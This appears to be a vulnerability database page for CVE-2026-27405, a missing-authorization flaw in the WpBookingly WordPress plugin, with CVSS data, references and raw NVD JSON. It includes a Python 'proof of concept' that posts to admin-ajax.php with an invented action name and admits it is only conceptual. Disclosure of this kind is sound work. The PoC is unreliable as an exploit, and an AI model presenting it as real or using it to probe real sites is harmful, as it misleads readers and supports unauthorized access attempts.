CVE-2026-27405

Description

Missing Authorization vulnerability in Magepeople inc. WpBookingly allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WpBookingly: from n/a through 1.2.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WpBookingly <= 1.2.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-27405
# This script demonstrates the missing authorization vulnerability.
# Note: This is a conceptual example based on the vulnerability description.

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Vulnerable action often lacks capability checks or nonce verification
payload = {
    "action": "wpbookingly_vulnerable_action",  # Replace with actual action name if known
    "param1": "malicious_data"
}

try:
    response = requests.post(target_url, data=payload)
    if response.status_code == 200:
        print("[+] Potential vulnerability detected! Action executed without proper authorization.")
        print("Response:", response.text)
    else:
        print("[-] Request failed or not vulnerable.")
except Exception as e:
    print("Error:", e)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27405
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27405
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27405/
[4] VulDB https://vuldb.com/cve/CVE-2026-27405
[5] https://patchstack.com/database/wordpress/plugin/service-booking-manager/vulnerability/wordpress-wpbookingly-plugin-1-2-9-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27405", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:16.750", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Magepeople inc. WpBookingly allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects WpBookingly: from n/a through 1.2.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/service-booking-manager/vulnerability/wordpress-wpbookingly-plugin-1-2-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}